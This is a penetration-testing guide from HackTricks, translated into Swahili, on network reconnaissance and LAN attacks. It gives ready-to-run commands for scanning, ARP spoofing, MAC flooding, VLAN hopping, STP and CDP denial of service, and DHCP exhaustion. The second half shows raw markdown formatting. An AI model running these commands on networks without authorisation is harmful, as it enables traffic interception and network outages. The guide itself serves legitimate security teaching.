Pentesting Network
Reading time: 38 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kugundua mwenyeji kutoka nje
Hii itakuwa sehemu fupi kuhusu jinsi ya kupata IPs zinazojibu kutoka kwa Mtandao.
Katika hali hii una mipango ya IPs (labda hata mifumo kadhaa) na unahitaji tu kupata IPs zipi zinazojibu.
ICMP
Hii ndiyo njia rahisi na haraka ya kugundua kama mwenyeji yupo au la.
Unaweza kujaribu kutuma baadhi ya ICMP pakiti na kusubiri majibu. Njia rahisi ni kutuma tu ombio la echo na kusubiri majibu. Unaweza kufanya hivyo kwa kutumia ping
rahisi au kutumia fping
kwa mifumo.
Unaweza pia kutumia nmap kutuma aina nyingine za pakiti za ICMP (hii itakwepa filters za ombi la kawaida la ICMP echo-response).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Discovery
Ni kawaida sana kukuta kwamba aina zote za pakiti za ICMP zinachujwa. Hivyo, unachoweza kufanya ili kuangalia kama mwenyeji yuko hewani ni kujaribu kupata bandari zilizo wazi. Kila mwenyeji ana bandari 65535, hivyo, ikiwa una "wigo mkubwa" huwezi kujaribu kama kila bandari ya kila mwenyeji iko wazi au la, hiyo itachukua muda mwingi.
Hivyo, unahitaji scanner ya bandari ya haraka (masscan) na orodha ya bandari zinazotumika zaidi:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
Unaweza pia kufanya hatua hii kwa kutumia nmap
, lakini inachukua muda mrefu na kwa namna fulani nmap
ina matatizo ya kutambua mwenyeji aliye juu.
Ugunduzi wa Bandari ya HTTP
Hii ni ugunduzi wa bandari ya TCP inayofaa unapotaka kuzingatia kugundua huduma za HTTP:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Discovery
Unaweza pia kujaribu kuangalia baadhi ya UDP port open ili uamue kama unapaswa kuzingatia zaidi host. Kwa kuwa huduma za UDP kwa kawaida hazijibu na data yoyote kwa pakiti ya kawaida ya UDP isiyo na maudhui, ni vigumu kusema kama port inachujwa au iko wazi. Njia rahisi ya kuamua hili ni kutuma pakiti inayohusiana na huduma inayotumika, na kwa kuwa hujui ni huduma ipi inayotumika, unapaswa kujaribu ile inayowezekana zaidi kulingana na nambari ya port:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Mstari wa nmap uliopendekezwa hapo awali utajaribu bandari 1000 za UDP katika kila mwenyeji ndani ya /24 anuwai lakini hata hii itachukua >20min. Ikiwa unahitaji matokeo ya haraka unaweza kutumia udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24
Hii itatuma UDP probes hizi kwa bandari zao zinazotarajiwa (kwa anuwai ya /24 hii itachukua dakika 1 tu): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
Ugunduzi wa Bandari za SCTP
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Hapa unaweza kupata mwongozo mzuri wa mashambulizi yote maarufu ya Wifi wakati wa uandishi:
{{#ref}} ../pentesting-wifi/ {{#endref}}
Kugundua mwenyeji kutoka ndani
Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni kugundua wenyeji wengine. Kulingana na kiasi cha kelele unachoweza/unayotaka kufanya, hatua tofauti zinaweza kuchukuliwa:
Passive
Unaweza kutumia zana hizi kugundua wenyeji kwa pasivu ndani ya mtandao uliounganishwa:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Active
Kumbuka kwamba mbinu zilizozungumziwa katika Kugundua mwenyeji kutoka nje (TCP/HTTP/UDP/SCTP Port Discovery) zinaweza pia kutumika hapa.
Lakini, kwani uko katika mtandao mmoja na wenyeji wengine, unaweza kufanya mambo zaidi:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Active ICMP
Kumbuka kwamba mbinu zilizozungumziwa katika Discovering hosts from the outside (ICMP) zinaweza pia kutumika hapa.
Lakini, kwa kuwa uko katika mtandao mmoja na wenyeji wengine, unaweza kufanya mambo zaidi:
- Ikiwa unafanya ping kwenye anwani ya matangazo ya subnet, ping inapaswa kufika kwa kila mwenyeji na wanaweza kujibu wewe:
ping -b 10.10.5.255
- Kufanya ping kwenye anwani ya matangazo ya mtandao unaweza hata kupata wenyeji ndani ya subnets nyingine:
ping -b 255.255.255.255
- Tumia lippu
-PE
,-PP
,-PM
zanmap
kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko wa ICMPv4 echo, timestamp, na maombi ya subnet mask:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan inatumika kuwasha kompyuta kupitia ujumbe wa mtandao. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo MAC Dst inatolewa na kisha inarudiwa mara 16 ndani ya pakiti hiyo hiyo.
Kisha aina hii ya pakiti kawaida hutumwa katika ethernet 0x0842 au katika pakiti ya UDP kwa bandari 9.
Ikiwa hakuna [MAC] iliyotolewa, pakiti inatumwa kwa broadcast ethernet (na MAC ya matangazo itakuwa ile inayorudiwa).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Skanningi Hosts
Mara tu umepata IP zote (za nje au za ndani) unazotaka kuskania kwa undani, hatua tofauti zinaweza kufanywa.
TCP
- Port iliyo funguliwa: SYN --> SYN/ACK --> RST
- Port iliyo fungwa: SYN --> RST/ACK
- Port iliyo chujwa: SYN --> [NO RESPONSE]
- Port iliyo chujwa: SYN --> ujumbe wa ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Kuna chaguzi 2 za kuchunguza bandari ya UDP:
- Tuma UDP packet na angalia majibu ICMP unreachable ikiwa bandari ime fungwa (katika kesi kadhaa ICMP itachujwa hivyo hutapokea taarifa yoyote ikiwa bandari imefungwa au wazi).
- Tuma formatted datagrams ili kupata majibu kutoka kwa huduma (mfano, DNS, DHCP, TFTP, na wengine, kama ilivyoorodheshwa katika nmap-payloads). Ikiwa unapokea majibu, basi, bandari iko wazi.
Nmap itachanganya chaguzi zote mbili kwa kutumia "-sV" (uchunguzi wa UDP ni polepole sana), lakini zingatia kwamba uchunguzi wa UDP ni polepole zaidi kuliko uchunguzi wa TCP:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Scan
SCTP (Stream Control Transmission Protocol) imeundwa kutumika pamoja na TCP (Transmission Control Protocol) na UDP (User Datagram Protocol). Lengo lake kuu ni kuwezesha usafirishaji wa data za simu kupitia mitandao ya IP, ikionyesha sifa nyingi za kuaminika zinazopatikana katika Signaling System 7 (SS7). SCTP ni sehemu ya msingi ya familia ya protokali ya SIGTRAN, ambayo inalenga kusafirisha ishara za SS7 kupitia mitandao ya IP.
Msaada kwa SCTP unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, na VxWorks, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao.
Nmap inatoa scans mbili tofauti za SCTP: -sY na -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS and IPS evasion
{{#ref}} ids-evasion.md {{#endref}}
More nmap options
{{#ref}} nmap-summary-esp.md {{#endref}}
Kuonyesha Anwani za IP za Ndani
Router, firewalls, na vifaa vya mtandao vilivyopangwa vibaya wakati mwingine vinajibu kwa uchunguzi wa mtandao kwa kutumia anwani za chanzo zisizo za umma. tcpdump inaweza kutumika kubaini pakiti zinazopokelewa kutoka kwa anwani za kibinafsi wakati wa majaribio. Kwa haswa, kwenye Kali Linux, pakiti zinaweza kukamatwa kwenye eth2 interface, ambayo inapatikana kutoka kwa Mtandao wa umma. Ni muhimu kutambua kwamba ikiwa mipangilio yako iko nyuma ya NAT au Firewall, pakiti kama hizo zinaweza kuchujwa.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Sniffing unaweza kujifunza maelezo ya anuwai za IP, ukubwa wa subnet, anwani za MAC, na majina ya mwenyeji kwa kupitia fremu na pakiti zilizokamatwa. Ikiwa mtandao umewekwa vibaya au kitambaa cha kubadili kiko chini ya shinikizo, washambuliaji wanaweza kukamata nyenzo nyeti kupitia sniffing ya mtandao isiyo ya moja kwa moja.
Ikiwa mtandao wa Ethernet ulio na kubadili umewekwa vizuri, utaona tu fremu za matangazo na nyenzo zinazokusudiwa kwa anwani yako ya MAC.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Mtu anaweza pia kukamata pakiti kutoka kwa mashine ya mbali kupitia kikao cha SSH kwa kutumia Wireshark kama GUI katika wakati halisi.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Kwa wazi.
Capturing credentials
Unaweza kutumia zana kama https://github.com/lgandx/PCredz kuchambua akiba kutoka kwa pcap au kiolesura cha moja kwa moja.
LAN attacks
ARP spoofing
ARP Spoofing inajumuisha kutuma ARPResponses za bure kuashiria kwamba IP ya mashine ina MAC ya kifaa chetu. Kisha, mwathirika atabadilisha jedwali la ARP na atawasiliana na mashine yetu kila wakati anapotaka kuwasiliana na IP iliyopotoshwa.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
Mwagilia meza ya CAM ya swichi kwa kutuma pakiti nyingi zenye anwani tofauti za mac. Wakati meza ya CAM imejaa, swichi inaanza kujiendesha kama hub (ikitoa matangazo ya trafiki yote).
macof -i <interface>
Katika swichi za kisasa, udhaifu huu umerekebishwa.
802.1Q VLAN / DTP Shambulio
Dynamic Trunking
Dynamic Trunking Protocol (DTP) imeundwa kama protokali ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa DTP mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inapotakiwa na kuhakikisha kuwa kuna nyaraka sahihi.
Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itashawishiwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita kwenye segmentation ya VLAN kwa kuanzisha interfaces za virtual.
Uwepo wa DTP katika swichi nyingi kwa kawaida unaweza kutumika na maadui kuiga tabia ya swichi, hivyo kupata ufikiaji wa trafiki katika VLAN zote. Skripti dtpscan.sh inatumika kufuatilia interface, ikifunua ikiwa swichi iko katika hali ya Default, Trunk, Dynamic, Auto, au Access—hali ya mwisho ikiwa ndio pekee iliyohakikishiwa dhidi ya shambulio la VLAN hopping. Chombo hiki kinakadiria hali ya udhaifu wa swichi.
Iwapo udhaifu wa mtandao utagundulika, chombo Yersinia kinaweza kutumika "kuwezesha trunking" kupitia protokali ya DTP, ikiruhusu uchunguzi wa pakiti kutoka VLAN zote.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script DTPHijacking.py**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. Makanali ya trunk iliyoundwa kwa njia ya kidinamikia kwenye swichi inaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.
sudo python3 DTPHijacking.py --interface eth0
Ningependa kuonyesha kwamba Access/Desirable (0x03) inaonyesha kwamba fremu ya DTP ni ya aina ya Desirable, ambayo inamwambia port ibadilike kuwa katika hali ya Trunk. Na 802.1Q/802.1Q (0xa5) inaonyesha aina ya encapsulation ya 802.1Q.
Kwa kuchambua fremu za STP, tunajifunza kuhusu uwepo wa VLAN 30 na VLAN 60.
Kushambulia VLAN maalum
Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza kuunda interface ya virtual ili kushambulia VLAN maalum.
Ikiwa DHCP haipatikani, basi tumia ifconfig kuweka anwani ya IP ya kudumu.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
Shambulio lililozungumziwa la Dynamic Trunking na kuunda interfaces za virtual na kugundua wenyeji ndani ya VLAN nyingine linafanywa kiotomatiki na chombo: https://github.com/nccgroup/vlan-hopping---frogger
Double Tagging
Ikiwa mshambuliaji anajua thamani ya MAC, IP na VLAN ID ya mwenyeji wa kidhulumu, anaweza kujaribu kugonga mara mbili fremu kwa VLAN yake iliyoteuliwa na VLAN ya kidhulumu na kutuma pakiti. Kwa kuwa kidhulumu hakiwezi kuungana tena na mshambuliaji, hivyo chaguo bora kwa mshambuliaji ni kuwasiliana kupitia UDP kwa protokali ambazo zinaweza kufanya vitendo vya kuvutia (kama SNMP).
Chaguo lingine kwa mshambuliaji ni kuzindua TCP port scan ikijifanya kuwa IP inayodhibitiwa na mshambuliaji na inayopatikana na kidhulumu (labda kupitia intaneti). Kisha, mshambuliaji anaweza kunusa katika mwenyeji wa pili aliye na yeye ikiwa unapata pakiti kutoka kwa kidhulumu.
Ili kufanya shambulio hili unaweza kutumia scapy: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
Ikiwa una ufikiaji wa swichi ambayo umeunganishwa moja kwa moja, una uwezo wa kuzidi segmentation ya VLAN ndani ya mtandao. Rahisi tu badilisha bandari kuwa katika hali ya trunk (inayojulikana pia kama trunk), tengeneza interfaces za virtual zikiwa na IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuipanga kwa njia ya statiki. Inategemea hali.
{{#ref}} lateral-vlan-segmentation-bypass.md {{#endref}}
Layer 3 Private VLAN Bypass
Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya port isolation (inayojulikana pia kama private VLAN) inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au mipangilio yao isiyo sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo huo.
Shambulio linafanywa kwa kuunda pakiti inayobeba anwani ya IP ya mteja wa mwisho lakini ikiwa na anwani ya MAC ya router. Hii inasababisha router kupeleka pakiti hiyo kwa makosa kwa mteja anayelengwa. Njia hii ni sawa na ile inayotumiwa katika Shambulio za Double Tagging, ambapo uwezo wa kudhibiti mwenyeji anayepatikana kwa mwathirika unatumika kutekeleza kasoro ya usalama.
Hatua Muhimu za Shambulio:
- Kujenga Pakiti: Pakiti inaundwa kwa njia maalum ili kujumuisha anwani ya IP ya mteja anayelengwa lakini ikiwa na anwani ya MAC ya router.
- Kutatua Tabia ya Router: Pakiti iliyoundwa inatumwa kwa router, ambayo, kutokana na mipangilio, inapeleka pakiti hiyo kwa mteja anayelengwa, ikipita kutengwa kunakotolewa na mipangilio ya private VLAN.
VTP Attacks
VTP (VLAN Trunking Protocol) inakusanya usimamizi wa VLAN. Inatumia nambari za marekebisho kudumisha uaminifu wa hifadhidata ya VLAN; mabadiliko yoyote huongeza nambari hii. Swichi zinachukua mipangilio yenye nambari za marekebisho za juu, zikisasisha hifadhidata zao za VLAN.
VTP Domain Roles
- VTP Server: Inasimamia VLANs—inaunda, inafuta, inabadilisha. Inatangaza matangazo ya VTP kwa wanachama wa eneo.
- VTP Client: Inapokea matangazo ya VTP ili kuunganisha hifadhidata yake ya VLAN. Jukumu hili haliruhusiwi kufanya mabadiliko ya mipangilio ya VLAN za ndani.
- VTP Transparent: Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haijaguswa na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri.
VTP Advertisement Types
- Summary Advertisement: Inatangazwa na VTP server kila sekunde 300, ikibeba taarifa muhimu za eneo.
- Subset Advertisement: Inatumwa kufuatia mabadiliko ya mipangilio ya VLAN.
- Advertisement Request: Inatolewa na VTP client kuomba Summary Advertisement, kawaida kama jibu la kugundua nambari ya marekebisho ya mipangilio ya juu.
Uhalifu wa VTP unaweza kutumika pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio za DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, kwa ufanisi kuharibu mtandao.
Kumbuka: Majadiliano haya yanahusiana na toleo la VTP 1 (VTPv1).
%% yersinia -G # Launch Yersinia in graphical mode ```
```
Katika hali ya picha ya Yersinia, chagua chaguo la kufuta VTP vlans zote ili kufuta hifadhidata ya VLAN.
### Shambulio la STP
**Ikiwa huwezi kunasa fremu za BPDU kwenye interfaces zako, ni vigumu kwamba utafanikiwa katika shambulio la STP.**
#### **STP BPDU DoS**
Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs zinazotumwa wakati topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP Attack**
Wakati TCP inatumwa, jedwali la CAM la swichi litafutwa ndani ya sekunde 15. Kisha, ikiwa unatumia pakiti hizi kwa kuendelea, jedwali la CAM litaanzishwa upya mara kwa mara (au kila sekunde 15) na wakati linapoanzishwa upya, swichi inafanya kazi kama hub.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STP Root Attack**
Mshambuliaji anasimulia tabia ya swichi ili kuwa STP root wa mtandao. Kisha, data zaidi itapita kupitia kwake. Hii ni ya kuvutia unapokuwa umeunganishwa na swichi mbili tofauti.\
Hii inafanywa kwa kutuma BPDUs CONF pakiti zikisema kwamba thamani ya **priority** ni ndogo kuliko kipaumbele halisi cha swichi halisi ya mzizi.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Ikiwa mshambuliaji ameunganishwa na swichi 2 anaweza kuwa mzizi wa mti mpya na trafiki yote kati ya swichi hizo itapita kupitia kwake** (shambulio la MITM litafanywa).
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### CDP Mashambulizi
CISCO Discovery Protocol (CDP) ni muhimu kwa mawasiliano kati ya vifaa vya CISCO, ikiruhusu **kuvitambua na kushiriki maelezo ya usanidi**.
#### Kukusanya Data kwa Njia ya Pasifiki <a href="#id-0e0f" id="id-0e0f"></a>
CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na mfano wake na toleo la Cisco IOS linalotumika. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS.
#### Kusababisha Mv flooding wa CDP <a href="#id-0d6a" id="id-0d6a"></a>
Njia yenye nguvu zaidi inahusisha kuzindua shambulio la Denial of Service (DoS) kwa kujaa kumbukumbu ya swichi, akijifanya kuwa vifaa halali vya CISCO. Hapa chini kuna mfuatano wa amri za kuanzisha shambulio kama hilo kwa kutumia Yersinia, chombo cha mtandao kilichoundwa kwa ajili ya majaribio:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana mara nyingi kama **“kufeli kwa mtandao”** kutokana na matumizi makubwa ya rasilimali.
#### CDP Impersonation Attack
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
Unaweza pia kutumia [**scapy**](https://github.com/secdev/scapy/). Hakikisha umeisakinisha na pakiti ya `scapy/contrib`.
### Mashambulizi ya VoIP na Zana ya VoIP Hopper
Simu za VoIP, ambazo zinaunganishwa zaidi na vifaa vya IoT, zinatoa kazi kama kufungua milango au kudhibiti thermostats kupitia nambari maalum za simu. Hata hivyo, muunganisho huu unaweza kuleta hatari za usalama.
Zana [**voiphopper**](http://voiphopper.sourceforge.net) imeundwa kuiga simu ya VoIP katika mazingira mbalimbali (Cisco, Avaya, Nortel, Alcatel-Lucent). Inagundua ID ya VLAN ya mtandao wa sauti kwa kutumia protokali kama CDP, DHCP, LLDP-MED, na 802.1Q ARP.
**VoIP Hopper** inatoa njia tatu za Protokali ya Ugunduzi wa Cisco (CDP):
1. **Sniff Mode** (`-c 0`): Inachambua pakiti za mtandao ili kubaini ID ya VLAN.
2. **Spoof Mode** (`-c 1`): Inazalisha pakiti maalum zinazofanana na zile za kifaa halisi cha VoIP.
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Inatuma pakiti zinazofanana na zile za mfano maalum wa simu ya IP ya Cisco.
Njia inayopendekezwa kwa kasi ni ya tatu. Inahitaji kufafanua:
- Kiunganishi cha mtandao cha mshambuliaji (`-i` parameter).
- Jina la kifaa cha VoIP kinachoungwa mkono (`-E` parameter), ikizingatia muundo wa majina ya Cisco (mfano, SEP ikifuatiwa na anwani ya MAC).
Katika mazingira ya kampuni, ili kuiga kifaa kilichopo cha VoIP, mtu anaweza:
- Kukagua lebo ya MAC kwenye simu.
- Kupitia mipangilio ya onyesho la simu ili kuona taarifa za mfano.
- Kuunganisha kifaa cha VoIP kwenye laptop na kuangalia maombi ya CDP kwa kutumia Wireshark.
Mfano wa amri ya kutekeleza zana katika njia ya tatu ingekuwa:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### DHCP Attacks
#### Enumeration
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha kutumia anwani zote za IP zinazowezekana**.\
Shambulio hili litafanya kazi tu ikiwa unaweza kuona majibu ya seva ya DHCP na kukamilisha itifaki (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Kwa mfano, hii **haiwezekani katika mitandao ya Wifi**.
Njia nyingine ya kufanya DoS ya DHCP ni kutuma **pakiti ya DHCP-RELEASE ikitumia kama msimbo kila anwani ya IP inayowezekana**. Kisha, seva itafikiria kwamba kila mtu amemaliza kutumia IP.
